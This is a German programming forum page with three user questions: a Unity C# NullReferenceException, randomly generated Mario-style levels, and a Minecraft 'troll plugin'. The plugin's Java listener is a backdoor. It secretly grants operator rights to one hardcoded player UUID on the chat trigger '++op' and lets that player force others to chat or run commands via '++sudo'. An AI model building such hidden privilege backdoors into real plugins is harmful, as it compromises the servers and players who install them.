Programmieren – die besten Beiträge

Unity - Object reference not set to an instance of an object?

Hallo, weiß jemand wie ich in Unity diesen NullReferenceException Fehler beheben bzw. fixen kann? Kenne mich noch nicht so richtig mit C# und Unity aus. Daher weiß ich auch nicht, wie ich mit diesen Fehler umgehen kann. Habe in Unity 3D eine Shop Scene gemacht, und habe dann dieses Script für die Buttons und den Shop allgemein gemacht, um Skins kaufen zu können und die Game Coins mit den Buttons zu verbinden. Ich habe ein "Debug.Log" erstellt. Um zu schauen, dass wenn ich auf den Button klicke, in der Konsole dann steht als Beispiel "Button wurde geklickt!" doch stattdessen steht dort immer als Fehler "NullReferenceException: Object reference not set to an instance of an object

ShopManager.Start () (at Assets/Scripts/Best/ShopManager.cs:15)"

Hier ist das Script für den Shop, und die Buttons. (C#):

using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;


public class ShopManager : MonoBehaviour
{


    public int kontostand;
    public Text kontostandText;


    // Start is called before the first frame update
    void Start()
    {
        kontostandText.text = kontostand.ToString();
    }


    public void ItemKaufen(int itemPreis)
    {
        // Kontostand überprüfen
        if(kontostand >= itemPreis)
        {
            Debug.Log("Item wurde gekauft");
            // Item zum Inventar hinzufügen
            // Kontostand neu berechnen
            kontostand = kontostand - itemPreis;
            // Kontostand aktualisieren
        }
        
    }

Ich hatte mir ein Tutorial dazu angeschaut wie man es behebt, doch leider ohne Erfolg.

Weiß jemand, was das bedeutet/heißt und wie man es am einfachsten beheben kann, und wo da im Script der Fehler ist? Es soll ja angeblich in Zeile 15 sein. Ich hoffe, ihr versteht meine Message dazu ein wenig. Vielen Dank im voraus! :D

Bild zum Beitrag
Computer, Fehler, programmieren, C Sharp, Programmiersprache, Unity 3D, Visual Studio, Error Code, Unity, Spiele und Gaming

Warum gibt es kein Super Mario Spiel mit Zufällig Generierte Level?

Hallo.

Also der selbe Jump and Run Level wird einestages langweilig, und das schlimme ist: Wenn man es mehr mals spielt, weißt man welche Strecke auf mich zu kommt. Und das ist so unrealistisch. Denn wenn ein Mensch Abenteuer reise machen muss, und man denn weg nicht kennt dann weißt man auch nicht welches Strecke erwarten wird. Und genau bei diese spiel ist es wichtig: Du darfs diese Strecke nie kennen.

Und deshalb müssen Levels bei Super Mario Zufällig Generiert. Doch die frage ist: Warum schafft Nintendo sowas gar nicht. Jetzt würde jeder sagen: "Zufällige Jump and run Level Generator ist nicht möglich". Nein das ist komplett falsch! Denn ich selber habe mit Game Maker Studio 2 hinbekommen ein Zufällige Jump and Run Generator zu erstellen.

Und das sind die ergebniss:

Und ich schwöre es: Diese Level habe ich nicht selber mit der Hand gemacht, sondern Ich habe das ganze nur im Code Geschrieben wie er generieren soll, und was er alles beachten muss damit man Levels immer schaffen kann (z. B. der Loch darf nur Maximal 3 Blöcke Lang werden). Und dann hat das ganze der Zufallsgenerator selber eingebaut.

Klar die Stacheln sehen noch nicht perfekt aus, da muss ich noch schauen wie ich das besser machen kann.

Deshalb ist die frage: Warum kann Nintendo z. B. auch nich sowas machen? Das wäre so genial New Super Mario Bros mit Zufällig Generierte Level für unendlich lange Spielspaß.

Bild zum Beitrag
Spiele, PC, Computer, Games, Nintendo, programmieren, Rechner, Mario, Super Mario, entwickeln, zufallsgenerator

Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin

Meistgelesene Beiträge zum Thema Programmieren